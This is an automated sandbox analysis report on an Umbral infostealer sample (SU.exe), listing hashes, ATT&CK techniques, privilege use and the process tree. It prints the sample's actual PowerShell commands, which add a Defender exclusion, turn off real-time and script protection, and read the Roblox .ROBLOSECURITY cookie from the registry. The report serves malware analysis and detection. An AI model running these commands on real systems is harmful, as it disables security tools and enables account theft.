umbral | 01fb336066beb7d69b8a498acd0c01a0f7a49fb1f3ddfe9e28d2cc628132110c

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20241007-en
resource tags

arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
submitted
25/01/2025, 06:57

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General

Target

SU.exe
Size

229KB
MD5

05c943e8ae5c31ffe2dfd3eff82aa5c1
SHA1

6687440528a26ae933709e79ff486cb5727bb881
SHA256

01fb336066beb7d69b8a498acd0c01a0f7a49fb1f3ddfe9e28d2cc628132110c
SHA512

79e937aae114229690b11e43ced2a61886b40f57b91e04f24a6b3f6db0f2e2008dac1b44bba274fb75befcbb1bc109b41ac60ac3820c1ff834c68dac3756943b
SSDEEP

6144:9loZMNrIkd8g+EtXHkv/iD4N1yBR/k4XxG/BcoNS3b8e1mEXi:foZmL+EP8N1yBR/k4XxG/BcoNkfy

Score

10^/10

umbral execution spyware stealer

Malware Config

Signatures

Detect Umbral payload 1 IoCs

resource	yara_rule
behavioral2/memory/4052-1-0x000001FC41D50000-0x000001FC41D90000-memory.dmp	family_umbral

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Umbral family
umbral

Command and Scripting Interpreter: PowerShell 1 TTPs 4 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
2312	powershell.exe
1716	powershell.exe
3408	powershell.exe
2324	powershell.exe

Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003

Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs

Web Service

T1102

flow	ioc
18	discord.com
17	discord.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
15	ip-api.com

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
4480	wmic.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2312	powershell.exe
2312	powershell.exe
1716	powershell.exe
1716	powershell.exe
3408	powershell.exe
3408	powershell.exe
3640	powershell.exe
3640	powershell.exe
2324	powershell.exe
2324	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4052	SU.exe
Token: SeDebugPrivilege	2312	powershell.exe
Token: SeDebugPrivilege	1716	powershell.exe
Token: SeDebugPrivilege	3408	powershell.exe
Token: SeDebugPrivilege	3640	powershell.exe
Token: SeIncreaseQuotaPrivilege	4524	wmic.exe
Token: SeSecurityPrivilege	4524	wmic.exe
Token: SeTakeOwnershipPrivilege	4524	wmic.exe
Token: SeLoadDriverPrivilege	4524	wmic.exe
Token: SeSystemProfilePrivilege	4524	wmic.exe
Token: SeSystemtimePrivilege	4524	wmic.exe
Token: SeProfSingleProcessPrivilege	4524	wmic.exe
Token: SeIncBasePriorityPrivilege	4524	wmic.exe
Token: SeCreatePagefilePrivilege	4524	wmic.exe
Token: SeBackupPrivilege	4524	wmic.exe
Token: SeRestorePrivilege	4524	wmic.exe
Token: SeShutdownPrivilege	4524	wmic.exe
Token: SeDebugPrivilege	4524	wmic.exe
Token: SeSystemEnvironmentPrivilege	4524	wmic.exe
Token: SeRemoteShutdownPrivilege	4524	wmic.exe
Token: SeUndockPrivilege	4524	wmic.exe
Token: SeManageVolumePrivilege	4524	wmic.exe
Token: 33	4524	wmic.exe
Token: 34	4524	wmic.exe
Token: 35	4524	wmic.exe
Token: 36	4524	wmic.exe
Token: SeIncreaseQuotaPrivilege	4524	wmic.exe
Token: SeSecurityPrivilege	4524	wmic.exe
Token: SeTakeOwnershipPrivilege	4524	wmic.exe
Token: SeLoadDriverPrivilege	4524	wmic.exe
Token: SeSystemProfilePrivilege	4524	wmic.exe
Token: SeSystemtimePrivilege	4524	wmic.exe
Token: SeProfSingleProcessPrivilege	4524	wmic.exe
Token: SeIncBasePriorityPrivilege	4524	wmic.exe
Token: SeCreatePagefilePrivilege	4524	wmic.exe
Token: SeBackupPrivilege	4524	wmic.exe
Token: SeRestorePrivilege	4524	wmic.exe
Token: SeShutdownPrivilege	4524	wmic.exe
Token: SeDebugPrivilege	4524	wmic.exe
Token: SeSystemEnvironmentPrivilege	4524	wmic.exe
Token: SeRemoteShutdownPrivilege	4524	wmic.exe
Token: SeUndockPrivilege	4524	wmic.exe
Token: SeManageVolumePrivilege	4524	wmic.exe
Token: 33	4524	wmic.exe
Token: 34	4524	wmic.exe
Token: 35	4524	wmic.exe
Token: 36	4524	wmic.exe
Token: SeIncreaseQuotaPrivilege	112	wmic.exe
Token: SeSecurityPrivilege	112	wmic.exe
Token: SeTakeOwnershipPrivilege	112	wmic.exe
Token: SeLoadDriverPrivilege	112	wmic.exe
Token: SeSystemProfilePrivilege	112	wmic.exe
Token: SeSystemtimePrivilege	112	wmic.exe
Token: SeProfSingleProcessPrivilege	112	wmic.exe
Token: SeIncBasePriorityPrivilege	112	wmic.exe
Token: SeCreatePagefilePrivilege	112	wmic.exe
Token: SeBackupPrivilege	112	wmic.exe
Token: SeRestorePrivilege	112	wmic.exe
Token: SeShutdownPrivilege	112	wmic.exe
Token: SeDebugPrivilege	112	wmic.exe
Token: SeSystemEnvironmentPrivilege	112	wmic.exe
Token: SeRemoteShutdownPrivilege	112	wmic.exe
Token: SeUndockPrivilege	112	wmic.exe
Token: SeManageVolumePrivilege	112	wmic.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 4052 wrote to memory of 2312	4052	SU.exe	82
PID 4052 wrote to memory of 2312	4052	SU.exe	82
PID 4052 wrote to memory of 1716	4052	SU.exe	84
PID 4052 wrote to memory of 1716	4052	SU.exe	84
PID 4052 wrote to memory of 3408	4052	SU.exe	86
PID 4052 wrote to memory of 3408	4052	SU.exe	86
PID 4052 wrote to memory of 3640	4052	SU.exe	88
PID 4052 wrote to memory of 3640	4052	SU.exe	88
PID 4052 wrote to memory of 4524	4052	SU.exe	90
PID 4052 wrote to memory of 4524	4052	SU.exe	90
PID 4052 wrote to memory of 112	4052	SU.exe	93
PID 4052 wrote to memory of 112	4052	SU.exe	93
PID 4052 wrote to memory of 3968	4052	SU.exe	95
PID 4052 wrote to memory of 3968	4052	SU.exe	95
PID 4052 wrote to memory of 2324	4052	SU.exe	97
PID 4052 wrote to memory of 2324	4052	SU.exe	97
PID 4052 wrote to memory of 4480	4052	SU.exe	99
PID 4052 wrote to memory of 4480	4052	SU.exe	99

C:\Users\Admin\AppData\Local\Temp\SU.exe
"C:\Users\Admin\AppData\Local\Temp\SU.exe"
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4052
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\SU.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2312
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:1716
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3408
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3640
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" os get Caption
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:4524
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" computersystem get totalphysicalmemory
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:112
- C:\Windows\System32\Wbem\wmic.exe
  "wmic.exe" csproduct get uuid
  2⤵
  PID:3968
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:2324
- C:\Windows\System32\Wbem\wmic.exe
  "wmic" path win32_VideoController get name
  2⤵
  - Detects videocard installed
  PID:4480

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

Filesize
2KB

MD5
d85ba6ff808d9e5444a4b369f5bc2730

SHA1
31aa9d96590fff6981b315e0b391b575e4c0804a

SHA256
84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f

SHA512
8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
944B

MD5
e8ce785f8ccc6d202d56fefc59764945

SHA1
ca032c62ddc5e0f26d84eff9895eb87f14e15960

SHA256
d85c19fc6b9d25e2168a2cc50ff38bd226fbf4f02aa7ac038a5f319522d2ffa4

SHA512
66460aec4afee582556270f8ee6048d130a090f1c12a2632ed71a99a4073e9931e9e1cc286e32debffb95a90bd955f0f0d6ec891b1c5cd2f0aae41eb6d25832f

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
948B

MD5
985b3105d8889886d6fd953575c54e08

SHA1
0f9a041240a344d82bac0a180520e7982c15f3cd

SHA256
5178fdd457eb3eb25c8f72ed4c22c582a83de0d324db66d0446d660f226e944d

SHA512
0fd59bc4886b70aa3b7eeeaa23229b7fdc93410ca7f8452860e4a1bbda2559eaa5e4b05c3ec2d85f7d648daf3c16741f4c2c18f2dd3bae4cc4a4e57ae4f665b0

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
276798eeb29a49dc6e199768bc9c2e71

SHA1
5fdc8ccb897ac2df7476fbb07517aca5b7a6205b

SHA256
cd0a1056e8f1b6cb5cb328532239d802f4e2aa8f8fcdc0fcb487684bd68e0dcc

SHA512
0d34fce64bbefc57d64fa6e03ca886952263d5f24df9c1c4cce6a1e8f5a47a9a21e9820f8d38caa7f7b43a52336ce00b738ea18419aaa7c788b72e04ce19e4f2

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
1KB

MD5
c862600aabd72b921dcc17a878e301e0

SHA1
ba7ea63b27221835497aa299570ecbc3b83e558d

SHA256
323f403844cc3c45ea36998307a208d1e482a66c5ca132a0fe7601417760d87f

SHA512
e7edbb2deca0a5240dd438f109b50c5959e88837d8c6f702193dff630ac61efdaa53aeddce2bb71000f66a4b9e6f06a5eefbf59201e10c840b982eb74c17082e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_43lkk500.oux.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/2312-9-0x000001A1960D0000-0x000001A1960F2000-memory.dmp

Filesize
136KB

Download
memory/2312-17-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/2312-14-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/2312-10-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/4052-30-0x000001FC5C4B0000-0x000001FC5C526000-memory.dmp

Filesize
472KB

Download
memory/4052-31-0x000001FC5C530000-0x000001FC5C580000-memory.dmp

Filesize
320KB

Download
memory/4052-32-0x000001FC43BF0000-0x000001FC43C0E000-memory.dmp

Filesize
120KB

Download
memory/4052-0-0x00007FFFFBD73000-0x00007FFFFBD75000-memory.dmp

Filesize
8KB

Download
memory/4052-2-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download
memory/4052-69-0x000001FC5C450000-0x000001FC5C45A000-memory.dmp

Filesize
40KB

Download
memory/4052-70-0x000001FC5C490000-0x000001FC5C4A2000-memory.dmp

Filesize
72KB

Download
memory/4052-1-0x000001FC41D50000-0x000001FC41D90000-memory.dmp

Filesize
256KB

Download
memory/4052-90-0x00007FFFFBD70000-0x00007FFFFC831000-memory.dmp

Filesize
10.8MB

Download